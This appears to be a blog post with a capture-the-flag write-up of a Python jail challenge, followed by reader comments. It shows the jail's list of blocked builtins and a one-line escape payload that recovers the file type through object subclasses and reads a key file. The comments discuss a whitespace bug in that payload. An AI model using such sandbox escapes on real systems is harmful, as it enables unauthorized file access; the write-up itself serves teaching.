Thursday, October 25, 2012

Hack.Lu CTF: Python Jail Writeup

This challenge was a jail written in python that eliminates a bunch of different functions from the __builtins__ dictionary, severely limiting the use of functions. The relevant portions of the server are shown below.
def make_secure():
        UNSAFE_BUILTINS = ['open',
                           'file',
                           'execfile',
                           'compile',
                           'reload',
                           '__import__',
                           'eval',
                           'input'] ## block objet?
        for func in UNSAFE_BUILTINS:
                del __builtins__.__dict__[func]

from re import findall
make_secure()

print 'Go Ahead, Expoit me >;D'

while True:
    try:
        inp = findall('\S+', raw_input())[0]
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception as e:
        print 'Exception:', e
However, just deleting functions from the __builtins__ dictionary does not completely eliminate references to them. By traversing class and subclass trees, we eventually get a reference to 'file' because it is a subclass of the 'object' type. Below is a way of taking a list (with a single number in it) and getting a reference to the 'file' function (it is the 40th item in the list when I ran it).
(1337).__class__.__bases__[0].__subclasses__()[40] # This references the function 'file'
We can therefore open an arbitrary file and read the key now.
(1337).__class__.__bases__[0].__subclasses__()[40]('./key','r').read()
-- suntzu_II

2 comments:

  1. good post :)

    BTW, there should not be a space between './key' and 'r', otherwise, you will get a error message like: Exception: unexpected EOF while parsing (, line 1)

    Could you explain why?

    ReplyDelete
    Replies
    1. Thanks for catching that! It turns out that the findall('\S+', raw_input())[0] effectively splits on spaces - the \S+ is a regular expression which looks for multiple, non-whitespace characters. The findall returns a tuple with all of the matches for the regex, effectively matching (1337).__class__.__bases__[0].__subclasses__()[40]('./key', and 'r').read(). It chooses the first one which is not a complete command, causing an error.

      Delete